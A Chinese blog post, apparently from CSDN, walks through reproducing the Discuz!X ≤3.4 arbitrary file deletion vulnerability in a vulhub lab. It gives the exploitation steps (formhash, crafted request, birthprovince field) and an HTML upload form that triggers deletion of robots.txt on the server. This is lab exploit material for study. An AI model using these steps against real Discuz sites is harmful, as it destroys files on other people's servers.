漏洞复现-DiscuzX ≤3.4 任意文件删除漏洞

_s1mple

已于 2022-06-27 16:28:30 修改

阅读量945

点赞数

分类专栏： web安全漏洞复现文章标签：安全

于 2022-05-10 14:01:35 首次发布

本文链接：https://blog.csdn.net/qq_59350385/article/details/124686637

版权

web安全同时被 2 个专栏收录

19 篇文章 1 订阅

订阅专栏

漏洞复现

10 篇文章 1 订阅

订阅专栏

一、环境搭建

本次用的是vulhub靶场

执行下列命令部署 Discuz!X 安装环境
docker-compose up -d

安装时，只用修改数据库地址为`db`，其他保持默认即可：

二、漏洞复现

（1）访问`http://your-ip/robots.txt`可见robots.txt是存在的：

（2）注册用户hahaha

（3）在个人设置页面找到自己的formhash

（4）带上自己的Cookie、formhash发送如下数据包

（5）查看个人设置页面的出生地

（6）构造upload.html,写上自己的formhash

<body>
    <form action="http://[your-ip]/home.php?mod=spacecp&ac=profile&op=base&profilesubmit=1&formhash=[formhasg]" method="post" enctype="multipart/form-data">
        <input type="file" name="birthprovince" />
        <input type="submit" value="upload" />
    </form>
</body>

(7)用浏览器打开该页面，上传一个正常图片。此时脏数据应该已被提取出，漏洞已经利用结束。

再次访问http://your-ip/robots.txt，发现文件成功被删除：